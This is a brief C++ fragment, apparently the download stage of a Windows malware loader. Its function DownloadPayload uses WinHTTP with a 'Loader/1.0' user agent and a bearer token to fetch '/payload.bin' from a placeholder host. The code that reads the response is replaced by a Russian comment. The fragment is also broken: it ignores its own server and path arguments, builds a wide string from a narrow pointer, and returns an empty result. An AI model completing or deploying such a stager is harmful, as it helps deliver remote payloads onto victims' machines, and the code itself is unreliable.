#include <iostream>
#include <vector>
#include <windows.h>
#include <winhttp.h>
std::vector<BYTE> DownloadPayload(const char* server, const char* path, const char* token) {
std::vector<BYTE> result;
HINTERNET hSession = WinHttpOpen(L"Loader/1.0", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, NULL, NULL, 0);
HINTERNET hConnect = WinHttpConnect(hSession, L"yourserver.com", INTERNET_DEFAULT_HTTPS_PORT, 0);
HINTERNET hRequest = WinHttpOpenRequest(hConnect, L"GET", L"/payload.bin", NULL, NULL, NULL, WINHTTP_FLAG_SECURE);
std::wstring headers = L"Authorization: Bearer " + std::wstring(token) + L"\r\n";
WinHttpSendRequest(hRequest, headers.c_str(), headers.length(), NULL, 0, 0, 0);
WinHttpReceiveResponse(hRequest, NULL);
// Читаем данные в вектор (код цикла)
// ...
WinHttpCloseHandle(hRequest);
return result;
}